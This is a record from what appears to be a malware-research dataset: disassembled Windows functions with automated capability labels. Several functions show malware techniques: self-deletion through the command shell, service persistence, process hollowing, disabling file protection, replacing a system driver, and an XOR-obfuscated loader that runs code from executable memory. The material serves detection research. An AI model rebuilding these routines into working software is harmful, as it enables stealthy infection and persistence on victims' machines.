joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401180
Capabilities:
Set file attributes

Disassembly:
mov eax, dword [esp + 4]
push 6
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
ret

Function at 0x401190
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Resume thread
Self delete

Disassembly:
sub esp, 0x360
lea eax, [esp + 0x54]
push ebx
push ebp
push esi
push edi
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
je 0x4012f8
lea ecx, [esp + 0x64]
push 0x104
lea edx, [esp + 0x68]
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_GetShortPathNameA]
test eax, eax
je 0x4012f8
lea eax, [esp + 0x26c]
push 0x104
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
test eax, eax
je 0x4012f8
lea ecx, [esp + 0x168]
push str.__c__del
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea edx, [esp + 0x64]
lea eax, [esp + 0x168]
push edx
push eax
call esi
lea ecx, [esp + 0x168]
push str.___nul
push ecx
call esi
lea edx, [esp + 0x168]
lea eax, [esp + 0x26c]
push edx
push eax
call esi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
xor ecx, ecx
mov word [esp + 0x50], bx
mov ebx, dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
push 0x100
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], 0x44
mov dword [esp + 0x50], 1
call ebx
mov esi, dword [sym.imp.KERNEL32.DLL_SetPriorityClass]
push eax
call esi
mov ebp, dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
push 0xf
call ebp
mov edi, dword [sym.imp.KERNEL32.DLL_SetThreadPriority]
push eax
call edi
lea edx, [esp + 0x10]
lea eax, [esp + 0x20]
push edx
push eax
push 0
push 0
push 0xc
push 0
push 0
lea ecx, [esp + 0x288]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x4012ea
mov edx, dword [esp + 0x10]
push pe_nt_image_headers32
push edx
call esi
mov eax, dword [esp + 0x14]
push 0xfffffffffffffff1
push eax
call edi
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x360
ret
push 0x20
call ebx
push eax
call esi
push 0
call ebp
push eax
call edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x360
ret

Function at 0x4019d0
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x401a3f
mov eax, dword [esp + 0x10]
push ebx
push esi
push 0
mov ecx, dword [esp + 0x18]
push 0
mov esi, dword [esp + 0x18]
push 0
push 0
push 0
push eax
push 0
push 2
push 0x110
push 0xf01ff
push ecx
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push 0x10
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x401a3a
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
call ebx
push edi
call ebx
pop esi
pop ebx
pop edi
ret
Function at 0x401aa0
Capabilities:
Check mutex on windows
Create thread
Initialize winsock library

Disassembly:
sub esp, 0x194
push ebx
push ebp
push esi
push edi
push 0x406128
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x401ada
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x194
ret
lea eax, [esp + 0x14]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateThread]
mov ebp, dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
lea ecx, [esp + 0x10]
push ecx
push 0
push 0
push 0x401b30
push 0
push 0
call ebx
mov esi, eax
push 0xffffffffffffffff
push esi
call ebp
push esi
call edi
push 0x2710
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x401afc
Function at 0x402260
Capabilities:
Check os version
Get hostname
Get memory capacity

Disassembly:
sub esp, 0xb8
push ebx
push ebp
mov ebp, dword [esp + 0xc4]
push edi
mov ecx, 8
xor eax, eax
mov edi, ebp
mov dword [esp + 0xc], 0x20
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
push eax
push ebp
call dword [sym.imp.KERNEL32.DLL_GetComputerNameA]
test eax, eax
jne 0x40229f
pop edi
pop ebp
xor al, al
pop ebx
add esp, 0xb8
ret
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 0x30]
lea ebx, [ebp + 0x34]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x30]
mov byte [ebx], 0
push ecx
mov dword [esp + 0x34], 0x94
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
test eax, eax
jne 0x4022d5
pop edi
pop ebp
xor al, al
pop ebx
add esp, 0xb8
ret
mov eax, dword [esp + 0x40]
push esi
dec eax
je 0x40232c
dec eax
jne 0x402371
mov eax, dword [esp + 0x38]
cmp eax, 6
jne 0x4022f4
mov edi, str.Win_Vista
jmp 0x40234c
cmp eax, 5
jne 0x402320
mov eax, dword [esp + 0x3c]
cmp eax, 2
jne 0x402309
mov edi, str.Windows2003
jmp 0x40234c
cmp eax, 1
jne 0x402315
mov edi, str.WindowsXP
jmp 0x40234c
test eax, eax
jne 0x402371
mov edi, str.Windows2000
jmp 0x40234c
cmp eax, 4
ja 0x402371
mov edi, str.WindowsNT
jmp 0x40234c
cmp dword [esp + 0x38], 4
jne 0x402371
mov eax, dword [esp + 0x3c]
test eax, eax
jne 0x402342
mov edi, str.Windows95
jmp 0x40234c
cmp eax, 0xa
jne 0x402371
mov edi, str.Windows98
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x20
push eax
call dword [sym.imp.KERNEL32.DLL_GlobalMemoryStatus]
lea ebx, [ebp + 0x20]
xor ecx, ecx
mov edx, ebx
mov eax, dword [esp + 0x1c]
push 0xa
push ebx
mov dword [edx], ecx
shr eax, 0x14
mov dword [edx + 4], ecx
push eax
mov dword [edx + 8], ecx
mov dword [edx + 0xc], ecx
mov dword [edx + 0x10], ecx
call dword [sym.imp.MSVCRT.dll__itoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40629c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp + 0x40]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
mov edi, str.Gold_2.0
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov al, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [0x406240]
pop esi
mov dword [ebp + 0x4c], ecx
pop edi
pop ebp
pop ebx
add esp, 0xb8
ret
Function at 0x402440
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push esi
push edi
xor ebx, ebx
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push ebx
push 2
mov edi, eax
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0xc]
push eax
push esi
mov dword [esp + 0x14], 0x128
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x4024a1
cmp dword [esp + 0x14], edi
jne 0x402481
cmp dword [esp + 0x24], 4
je 0x402492
lea ecx, [esp + 0xc]
push ecx
push esi
call sub.KERNEL32.DLL_Process32Next
test eax, eax
je 0x4024a1
jmp 0x402474
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x128
ret
pop edi
mov eax, ebx
pop esi
pop ebx
add esp, 0x128
ret

Function at 0x402510
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x402534
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40252d
pop esi
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
ret

Function at 0x4031e0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, 0xfe
and eax, 0xff
push esi
cdq
idiv ecx
mov esi, dword [esp + 0xc]
inc dl
test esi, esi
jbe 0x40320c
mov eax, dword [esp + 8]
mov cl, byte [eax]
xor cl, dl
add cl, dl
mov byte [eax], cl
inc eax
dec esi
jne 0x403200
pop esi
ret

Function at 0x403430
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub esp, 0x400
xor ecx, ecx
lea edx, [esp]
push esi
mov eax, ecx
mov esi, 8
test al, 1
je 0x403451
shr eax, 1
xor eax, 0xedb88320
jmp 0x403453
shr eax, 1
dec esi
jne 0x403444
mov dword [edx], eax
inc ecx
add edx, 4
cmp ecx, 0x100
jl 0x40343d
mov ecx, dword [esp + 0x40c]
or eax, 0xffffffff
mov edx, ecx
dec ecx
test edx, edx
je 0x40349c
lea esi, [ecx + 1]
mov ecx, dword [esp + 0x408]
push ebx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [esp + edx*4 + 8]
xor eax, edx
inc ecx
dec esi
jne 0x403480
pop ebx
not eax
pop esi
add esp, 0x400
ret
Function at 0x4035c0
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Parse pe header

Disassembly:
mov edx, dword [esp + 8]
push ebx
cmp edx, 0x40
push esi
mov ebx, ecx
jb 0x40375b
mov ecx, dword [esp + 0xc]
cmp word [ecx], 0x5a4d
jne 0x40375b
mov esi, dword [ecx + 0x3c]
lea eax, [esi + 0xf8]
cmp edx, eax
jl 0x40375b
mov eax, dword [esi + ecx]
add esi, ecx
cmp eax, 0x4550
jne 0x40375b
test byte [esi + 0x17], 0x20
jne 0x40375b
cmp word [esi + 0x14], 0xe0
jne 0x40375b
lea eax, [esi + 0xf8]
push eax
push esi
push edx
push ecx
mov ecx, ebx
mov dword [esp + 0x20], eax
call fcn.00403500
mov ecx, dword [esp + 0x20]
test eax, eax
mov dword [ecx], eax
je 0x40375b
push ebp
push edi
push pe_nt_image_headers32
push 0x1000
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov ebp, dword [esp + 0x24]
test eax, eax
mov dword [ebp], eax
je 0x40374f
mov edi, dword [esi + 0x54]
xor ecx, ecx
mov cx, word [esi + 6]
test ecx, ecx
jle 0x403681
mov edx, dword [esp + 0x18]
lea esi, [edx + 0x14]
mov edx, dword [esi]
test edx, edx
je 0x40367b
cmp edx, edi
jae 0x40367b
mov edi, edx
add esi, 0x28
dec ecx
jne 0x40366f
mov ecx, dword [esp + 0x14]
push edi
push ecx
push eax
call dword [sym.imp.MSVCRT.dll_memmove]
mov eax, dword [ebp]
mov edi, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
add esp, 0xc
mov edx, dword [eax + 0x3c]
add eax, edx
mov dword [edi], eax
add eax, 0xf8
mov dword [ecx], eax
mov eax, dword [edi]
mov ecx, ebx
mov edx, dword [eax + 0x38]
mov eax, dword [eax + 0x54]
push edx
push eax
call fcn.004034e0
mov ecx, dword [ebp]
mov esi, eax
add esi, ecx
mov ecx, dword [edi]
xor ebp, ebp
cmp word [ecx + 6], bp
mov dword [esp + 0x18], ebp
jbe 0x40374f
mov edx, dword [esp + 0x20]
mov eax, dword [edx]
mov edx, dword [eax + ebp + 0xc]
add eax, ebp
test edx, edx
je 0x4036e8
mov esi, dword [esp + 0x24]
add edx, dword [esi]
mov esi, edx
mov edx, dword [eax + 0x10]
test edx, edx
je 0x403726
mov ecx, dword [eax + 0x14]
push edx
add ecx, dword [esp + 0x18]
push ecx
push esi
push ebx
call fcn.00403c50
mov edx, dword [esp + 0x30]
add esp, 0x10
mov eax, dword [edx]
add eax, ebp
mov ecx, dword [eax + 8]
mov eax, dword [eax + 0x10]
cmp ecx, eax
jae 0x40371d
mov ecx, dword [edi]
mov edx, dword [ecx + 0x38]
push edx
push eax
jmp 0x40372e
mov eax, dword [edi]
mov edx, dword [eax + 0x38]
push edx
push ecx
jmp 0x40372e
mov ecx, dword [ecx + 0x38]
mov edx, dword [eax + 8]
push ecx
push edx
mov ecx, ebx
call fcn.004034e0
mov ecx, dword [edi]
add esi, eax
mov eax, dword [esp + 0x18]
xor edx, edx
mov dx, word [ecx + 6]
inc eax
add ebp, 0x28
cmp eax, edx
mov dword [esp + 0x18], eax
jl 0x4036d0
pop edi
pop ebp
pop esi
mov eax, 1
pop ebx
ret 0x18
pop esi
xor eax, eax
pop ebx
ret 0x18
Function at 0x403800
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x74
push ebp
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x38]
lea edx, [esp + 0x38]
rep stosd dword es:[edi], eax
mov dword [esp + 0xc], eax
lea ecx, [esp + 0xc]
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
push edx
push eax
push eax
push 4
push eax
push eax
mov dword [esp + 0x34], eax
push eax
mov eax, dword [esp + 0xa0]
push eax
push 0
mov dword [esp + 0x60], 0x44
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov ebp, eax
test ebp, ebp
je 0x4038e9
mov edi, dword [esp + 0x88]
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x8c]
mov edx, dword [esp + 0x10]
push ebx
mov dword [edi], ecx
mov ecx, dword [esp + 0x94]
push esi
mov esi, dword [esp + 0x8c]
mov dword [eax], edx
mov edx, dword [esp + 0x1c]
push esi
mov dword [ecx], edx
mov dword [esi], 0x10007
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.DLL_GetThreadContext]
mov edx, dword [esi + 0xa4]
mov ebx, dword [esp + 0x9c]
mov eax, dword [edi]
lea ecx, [esp + 0x10]
push ecx
push 4
add edx, 8
push ebx
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_ReadProcessMemory]
mov esi, dword [ebx]
mov edx, dword [edi]
lea ecx, [esp + 0x24]
push 0x1c
push ecx
push esi
push edx
call dword [sym.imp.KERNEL32.DLL_VirtualQueryEx]
mov eax, dword [esp + 0xa0]
mov dword [eax], 0x7c2
mov ecx, dword [ebx]
sub esi, ecx
mov dword [eax], esi
pop esi
pop ebx
mov eax, ebp
pop edi
pop ebp
add esp, 0x74
ret 0x1c
mov eax, ebp
pop edi
pop ebp
add esp, 0x74
ret 0x1c
Function at 0x403b10
Capabilities:
Get file size
Read file on windows

Disassembly:
sub esp, 8
mov eax, dword [esp + 0xc]
push ebp
push 0
push 0x80
push 3
push 0
push 1
push connect
mov dword [esp + 0x20], ecx
push eax
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x403b4d
or eax, eax
pop ebp
add esp, 8
ret 0xc
push ebx
push esi
push edi
push 0
push ebp
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov esi, eax
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, esi
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [esp + 0x14]
push eax
push esi
push ebx
push ebp
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push ebp
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x18]
push edx
push esi
push ebx
call fcn.00403bc0
push ebx
mov esi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
add esp, 8
ret 0xc

Function at 0x403d10
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [esp + 4]
cmp word [eax], 0x5a4d
jne 0x403d5e
mov ecx, dword [eax + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x403d5e
mov ecx, dword [esp + 8]
mov dword [ecx], eax
mov edx, dword [eax]
cmp edx, 0x4550
jne 0x403d5e
mov edx, dword [esp + 0xc]
add eax, 4
mov dword [ecx], eax
add eax, 0x14
mov dword [edx], eax
cmp word [eax], 0x10b
jne 0x403d5e
mov ecx, dword [esp + 0x10]
add eax, 0xe0
mov dword [ecx], eax
mov eax, 1
ret
xor eax, eax
ret

Function at 0x404060
Capabilities:
Start service

Disassembly:
push esi
push edi
push 2
push 0
push 0
or edi, 0xffffffff
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x4040d3
push 0x10
push str.beep
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x4040a4
push str.Start_beep_service_ok
call dword [sym.imp.MSVCRT.dll_puts]
add esp, 4
push ebx
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push str..Dark2118
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ebx, eax
call edi
push esi
call edi
mov eax, ebx
pop ebx
pop edi
pop esi
ret
mov eax, edi
pop edi
pop esi
ret

Function at 0x4040e0
Capabilities:
Stop service

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x1c
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x404136
push ebx
push esi
push 0x10020
push str.beep
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x404131
lea ecx, [esp + 0xc]
push ecx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
call ebx
push edi
call ebx
pop esi
pop ebx
pop edi
add esp, 0x1c
ret
Function at 0x404140
Capabilities:
Get common file path

Disassembly:
sub esp, 0x200
mov ecx, 0x80
xor eax, eax
push esi
push edi
lea edi, [esp + 8]
push 0x100
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
lea ecx, [esp + 8]
push 0x406f00
push ecx
call dword [sym.imp.MSVCRT.dll_wcscat]
add esp, 8
push str.sfc_os.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x4041a4
push 5
push esi
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea edx, [esp + 8]
push 0xffffffffffffffff
push edx
push 0
call eax
push esi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
pop edi
pop esi
add esp, 0x200
ret

Function at 0x4041b0
Capabilities:
Delete file
Get common file path
Write file on windows

Disassembly:
sub esp, 0x104
mov ecx, pe_nt_image_headers32
xor eax, eax
push ebx
push esi
push edi
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
push 0x100
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov edi, str.drivers_beep.sys
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00404140
mov edi, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea eax, [esp + 0x10]
push eax
call edi
push 0
push 2
push 2
push 0
push 2
lea ecx, [esp + 0x24]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
test esi, esi
je 0x404279
lea edx, [esp + 0xc]
push 0
push edx
push 0x92c
push 0x406448
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0
call fcn.004040e0
add esp, 4
call fcn.00404060
mov esi, eax
cmp esi, 0xffffffff
jne 0x404286
push str.Load_driver_failed_
call dword [sym.imp.MSVCRT.dll_puts]
add esp, 4
pop edi
pop esi
or eax, 0xffffffff
pop ebx
add esp, 0x104
ret
push esi
call fcn.00403eb0
push esi
call fcn.004040e0
add esp, 8
lea eax, [esp + 0x10]
push eax
call edi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x104
ret
Function at 0x10015217
Capabilities:
Enumerate processes

Disassembly:
push 0x238
mov eax, 0x1002d711
call fcn.10017005
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x10015234
xor eax, eax
jmp 0x10015311
xor edi, edi
push edi
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x1001530f
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x23c], 0x22c
push eax
push esi
call sub.kernel32.dll_Process32FirstW
jmp 0x100152e5
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x244]
call fcn.1000128b
push ebx
lea ecx, [ebp - 0x240]
mov dword [ebp - 4], edi
call fcn.1000128b
lea ecx, [ebp - 0x244]
mov byte [ebp - 4], 1
call fcn.10001cc6
lea ecx, [ebp - 0x240]
call fcn.10001cc6
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x240]
push eax
call fcn.10017ebb
pop ecx
pop ecx
mov ecx, dword [ebp - 0x240]
lea ecx, [ecx - 0x10]
test al, al
jne 0x100152ef
call fcn.10001eb4
mov ecx, dword [ebp - 0x244]
or dword [ebp - 4], 0xffffffff
lea ecx, [ecx - 0x10]
call fcn.10001eb4
lea eax, [ebp - 0x23c]
push eax
push esi
call sub.kernel32.dll_Process32NextW
test eax, eax
jne 0x10015264
jmp 0x10015308
mov edi, dword [ebp - 0x234]
call fcn.10001eb4
mov ecx, dword [ebp - 0x244]
add ecx, 0xfffffff0
call fcn.10001eb4
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
call fcn.10016faf
ret

Function at 0x10017ebb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x10017eca
pop dword [ebp - 0x34]
mov eax, 0x10017eca
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x41ec0
push 0
mov eax, 0xf81e1ce0
add eax, 0x17e4d47c
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0x4eaf
xor esi, esi
add esi, eax
mov edx, 0x20bdd706
sub edx, 0x10b92b06
add edx, dword [ebp - 0x34]
mov edi, 0x66197472
add edi, 0x27aae1c
sub dword [ebp - 0x18], 0x47758844
mov ebx, dword [edx]
sub dword [ebp - 0x30], 0xbc56607e
xor ebx, edi
sub dword [ebp - 8], 0x7af01b22
mov dword [esi], ebx
add esi, 0xad94df62
sub esi, 0xad94df5e
add edx, 0x46a47f18
sub edx, 0x46a47f14
loop 0x10017f20
add eax, 0x12d8f
xor ebx, ebx
add ebx, eax
add eax, 0xab014a8e
add eax, 0x54feb577
mov ecx, 0x60f13618
add ecx, 0xaf0ec9e8
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x401020
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xc
call fcn.00596bf0
lea eax, [ebp - 4]
push eax
push 1
push 0
push ecx
push closesocket
mov dword [ebp - 4], closesocket
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 1
mov dword [edi], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4010be
mov eax, dword [edi]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push esi
lea edx, [ebp - 8]
push edx
mov edx, dword [ebp - 4]
push eax
lea ecx, [ebp - 0xc]
push ecx
push 0
push str.DCAgentInstallDir
push edx
call ebx
mov esi, eax
test esi, esi
jne 0x4010b0
mov eax, dword [ebp - 8]
add eax, 5
push eax
push 1
call fcn.0057b222
add esp, 8
lea ecx, [ebp - 8]
push ecx
push eax
lea edx, [ebp - 0xc]
push edx
push esi
mov dword [edi], eax
mov eax, dword [ebp - 4]
push str.DCAgentInstallDir
push eax
call ebx
mov esi, eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4010d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xc
call fcn.00596bf0
push esi
mov eax, 4
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push str.SOFTWAREWOW6432NodeAdventNetDesktopCentralDCAgent
push closesocket
mov dword [ebp - 4], closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
je 0x40114b
cmp esi, 2
je 0x40112d
push esi
push str.SOFTWAREWOW6432NodeAdventNetDesktopCentralDCAgent
push str.ReadDwordRegistryData:_Error_while_opening_registry_key__s_and_the_errorcode_is_:__d__n
call fcn.0057b33c
add esp, 0xc
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push 2
push str.DriverCleanupNeeded
push str.ReadDwordRegistryData:__value___s_Not_found:__d__n
call fcn.0057b33c
add esp, 0xc
mov eax, 2
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 8]
lea ecx, [ebp - 8]
push ecx
mov ecx, dword [ebp - 4]
push edx
lea eax, [ebp - 0xc]
push eax
push 0
push str.DriverCleanupNeeded
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, eax
test esi, esi
je 0x401186
cmp esi, 2
je 0x40118b
push esi
push str.DriverCleanupNeeded
push str.ReadDwordRegistryData:_Error_while_reading_DWORD_value_of__s_:__d__n
call fcn.0057b33c
add esp, 0xc
cmp esi, 2
jne 0x40119e
push esi
push str.DriverCleanupNeeded
push str.ReadDwordRegistryData:__value___s_Not_found:__d__n
call fcn.0057b33c
add esp, 0xc
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret